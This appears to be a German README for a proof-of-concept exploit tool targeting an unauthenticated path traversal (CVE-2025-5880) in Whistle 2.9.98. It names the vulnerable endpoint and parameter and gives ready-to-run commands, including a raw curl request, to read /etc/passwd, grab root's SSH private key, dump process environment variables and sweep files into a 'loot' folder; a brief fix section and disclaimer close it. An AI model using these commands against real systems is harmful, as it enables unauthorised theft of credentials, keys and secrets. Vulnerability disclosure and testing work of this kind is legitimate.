CVE-2025-5880 — Whistle 2.9.98 Path Traversal PoC

Proof-of-concept Exploit für eine nicht authentifizierte Path-Traversal-Schwachstelle in Whistle v2.9.98.

Schwachstellenübersicht

Der Query-Parameter filename wird nicht bereinigt, bevor er zum Öffnen einer Datei auf der Festplatte verwendet wird. Dadurch kann ein Angreifer das vorgesehene Temp-Datei-Verzeichnis verlassen und jede Datei lesen, auf die der Whistle-Prozess Zugriff hat (z. B. /etc/passwd, /root/.ssh/id_rsa).

Schnellstart

# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880

# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd

Verwendung

python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
                          [--sweep] [-o OUTPUT] [--save-dir DIR]
                          [--timeout N]

Beispiele

# /etc/passwd lesen
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd

# Root-SSH-Private-Key abgreifen
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem

# Beliebigen Pfad lesen
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ

# Alle Presets durchlaufen und speichern
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

Raw PoC (curl)

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'

Behebung

Aktualisieren Sie Whistle auf eine Version, die den Parameter filename validiert und auf das vorgesehene Temp-Datei-Verzeichnis beschränkt. Wenden Sie serverseitig eine Whitelist-Pfadnormalisierung an (z. B. path.resolve + Präfix-Prüfung).

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch.
Der Autor übernimmt keine Haftung für Missbrauch.